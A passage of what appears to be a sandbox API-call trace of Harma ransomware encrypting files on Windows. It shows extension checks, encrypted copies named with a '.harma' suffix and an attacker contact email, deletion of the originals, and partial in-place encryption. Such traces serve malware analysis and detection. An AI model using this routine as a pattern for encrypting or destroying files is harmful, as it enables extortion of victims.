Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0175.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0175.624] lstrlenW (lpString=".doc") returned 4 [0175.624] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.624] lstrlenW (lpString=".docx") returned 5 [0175.624] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.624] lstrlenW (lpString=".pdf") returned 4 [0175.624] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.624] lstrlenW (lpString=".xls") returned 4 [0175.624] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.624] lstrlenW (lpString=".xlsx") returned 5 [0175.624] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.624] lstrlenW (lpString=".ppt") returned 4 [0175.624] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0175.624] lstrlenW (lpString=".zip") returned 4 [0175.624] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.624] lstrlenW (lpString=".rar") returned 4 [0175.624] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.624] lstrlenW (lpString=".bz2") returned 4 [0175.625] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.625] lstrlenW (lpString=".7z") returned 3 [0175.625] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0175.625] lstrlenW (lpString=".dbf") returned 4 [0175.625] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0175.625] lstrlenW (lpString=".1cd") returned 4 [0175.625] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0175.625] lstrlenW (lpString=".jpg") returned 4 [0175.625] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0175.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0175.625] lstrlenW (lpString=".doc") returned 4 [0175.625] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.625] lstrlenW (lpString=".docx") returned 5 [0175.625] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.625] lstrlenW (lpString=".pdf") returned 4 [0175.625] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.625] lstrlenW (lpString=".xls") returned 4 [0175.626] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.626] lstrlenW (lpString=".xlsx") returned 5 [0175.626] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.626] lstrlenW (lpString=".ppt") returned 4 [0175.626] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0175.626] lstrlenW (lpString=".zip") returned 4 [0175.626] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.626] lstrlenW (lpString=".rar") returned 4 [0175.626] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.626] lstrlenW (lpString=".bz2") returned 4 [0175.626] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.626] lstrlenW (lpString=".7z") returned 3 [0175.626] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0175.626] lstrlenW (lpString=".dbf") returned 4 [0175.626] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0175.626] lstrlenW (lpString=".1cd") returned 4 [0175.626] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0175.626] lstrlenW (lpString=".jpg") returned 4 [0175.626] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.626] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0175.626] lstrlenW (lpString="ACEINTL.DLL") returned 11 [0175.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0175.702] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=198056) returned 1 [0175.702] CloseHandle (hObject=0x1f4) returned 1 [0175.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0175.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0175.755] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.755] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0175.948] GetLastError () returned 0x0 [0175.948] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x305a8, lpOverlapped=0x0) returned 1 [0176.073] WriteFile (in: hFile=0x1ec, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x305b0, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0x305b0, lpOverlapped=0x0) returned 1 [0176.078] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x0, lpOverlapped=0x0) returned 1 [0176.078] WriteFile (in: hFile=0x1ec, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0176.078] SetEndOfFile (hFile=0x1ec) returned 1 [0176.078] CloseHandle (hObject=0x1ec) returned 1 [0176.078] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.078] SetEndOfFile (hFile=0x1f0) returned 1 [0176.080] CloseHandle (hObject=0x1f0) returned 1 [0176.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0176.080] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 1 [0176.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0176.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0176.081] lstrlenW (lpString=".doc") returned 4 [0176.081] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0176.081] lstrlenW (lpString=".docx") returned 5 [0176.081] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0176.081] lstrlenW (lpString=".pdf") returned 4 [0176.081] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0176.081] lstrlenW (lpString=".xls") returned 4 [0176.081] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0176.081] lstrlenW (lpString=".xlsx") returned 5 [0176.081] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0176.081] lstrlenW (lpString=".ppt") returned 4 [0176.081] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0176.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0176.081] lstrlenW (lpString=".zip") returned 4 [0176.081] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0176.081] lstrlenW (lpString=".rar") returned 4 [0176.081] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0176.081] lstrlenW (lpString=".bz2") returned 4 [0176.081] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0176.081] lstrlenW (lpString=".7z") returned 3 [0176.081] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0176.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0176.081] lstrlenW (lpString=".dbf") returned 4 [0176.081] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0176.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0176.081] lstrlenW (lpString=".1cd") returned 4 [0176.081] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0176.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0176.082] lstrlenW (lpString=".jpg") returned 4 [0176.082] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0176.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0176.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0176.082] lstrlenW (lpString=".doc") returned 4 [0176.082] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0176.082] lstrlenW (lpString=".docx") returned 5 [0176.082] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0176.082] lstrlenW (lpString=".pdf") returned 4 [0176.082] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0176.082] lstrlenW (lpString=".xls") returned 4 [0176.082] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0176.082] lstrlenW (lpString=".xlsx") returned 5 [0176.082] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0176.082] lstrlenW (lpString=".ppt") returned 4 [0176.082] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0176.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0176.082] lstrlenW (lpString=".zip") returned 4 [0176.082] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0176.082] lstrlenW (lpString=".rar") returned 4 [0176.082] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0176.082] lstrlenW (lpString=".bz2") returned 4 [0176.082] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0176.082] lstrlenW (lpString=".7z") returned 3 [0176.082] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0176.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0176.082] lstrlenW (lpString=".dbf") returned 4 [0176.082] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0176.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0176.083] lstrlenW (lpString=".1cd") returned 4 [0176.083] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0176.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0176.083] lstrlenW (lpString=".jpg") returned 4 [0176.083] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0176.083] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0176.083] lstrlenW (lpString="ALRTINTL.DLL") returned 12 [0176.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.084] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=154448) returned 1 [0176.084] CloseHandle (hObject=0x1f0) returned 1 [0176.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0176.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.084] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.084] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0176.085] GetLastError () returned 0x0 [0176.085] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x25b50, lpOverlapped=0x0) returned 1 [0176.089] WriteFile (in: hFile=0x1ec, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x25b60, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0x25b60, lpOverlapped=0x0) returned 1 [0176.093] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x0, lpOverlapped=0x0) returned 1 [0176.093] WriteFile (in: hFile=0x1ec, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0176.093] SetEndOfFile (hFile=0x1ec) returned 1 [0176.094] CloseHandle (hObject=0x1ec) returned 1 [0176.094] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.094] SetEndOfFile (hFile=0x1f0) returned 1 [0176.096] CloseHandle (hObject=0x1f0) returned 1 [0176.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0176.096] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 1 [0176.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0176.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0176.096] lstrlenW (lpString=".doc") returned 4 [0176.096] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0176.096] lstrlenW (lpString=".docx") returned 5 [0176.096] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0176.096] lstrlenW (lpString=".pdf") returned 4 [0176.096] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0176.096] lstrlenW (lpString=".xls") returned 4 [0176.097] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0176.097] lstrlenW (lpString=".xlsx") returned 5 [0176.097] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0176.097] lstrlenW (lpString=".ppt") returned 4 [0176.097] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0176.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0176.097] lstrlenW (lpString=".zip") returned 4 [0176.097] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0176.097] lstrlenW (lpString=".rar") returned 4 [0176.097] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0176.097] lstrlenW (lpString=".bz2") returned 4 [0176.097] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0176.097] lstrlenW (lpString=".7z") returned 3 [0176.097] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0176.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0176.097] lstrlenW (lpString=".dbf") returned 4 [0176.097] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0176.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0176.097] lstrlenW (lpString=".1cd") returned 4 [0176.097] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0176.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0176.097] lstrlenW (lpString=".jpg") returned 4 [0176.097] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0176.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0176.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0176.097] lstrlenW (lpString=".doc") returned 4 [0176.098] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0176.098] lstrlenW (lpString=".docx") returned 5 [0176.098] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0176.098] lstrlenW (lpString=".pdf") returned 4 [0176.098] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0176.098] lstrlenW (lpString=".xls") returned 4 [0176.098] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0176.098] lstrlenW (lpString=".xlsx") returned 5 [0176.098] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0176.098] lstrlenW (lpString=".ppt") returned 4 [0176.098] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0176.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0176.098] lstrlenW (lpString=".zip") returned 4 [0176.098] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0176.098] lstrlenW (lpString=".rar") returned 4 [0176.098] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0176.098] lstrlenW (lpString=".bz2") returned 4 [0176.098] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0176.098] lstrlenW (lpString=".7z") returned 3 [0176.098] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0176.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0176.098] lstrlenW (lpString=".dbf") returned 4 [0176.098] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0176.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0176.098] lstrlenW (lpString=".1cd") returned 4 [0176.098] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0176.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0176.099] lstrlenW (lpString=".jpg") returned 4 [0176.099] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0176.099] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0176.099] lstrlenW (lpString="MSOINTL.DLL") returned 11 [0176.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.100] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=2528128) returned 1 [0176.100] CloseHandle (hObject=0x1f0) returned 1 [0176.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0x20 [0176.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0176.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.101] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc6c | out: lpNewFilePointer=0x0) returned 1 [0176.101] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc2c | out: lpNewFilePointer=0x0) returned 1 [0176.101] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0176.182] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc2c | out: lpNewFilePointer=0x0) returned 1 [0176.182] ReadFile (in: hFile=0x1f0, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0176.477] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0176.477] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc2c | out: lpNewFilePointer=0x0) returned 1 [0176.477] ReadFile (in: hFile=0x1f0, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x38dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0176.531] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.531] WriteFile (in: hFile=0x1f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x38dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0176.724] SetEndOfFile (hFile=0x1f0) returned 1 [0176.914] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x41d67c8 [0176.918] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, 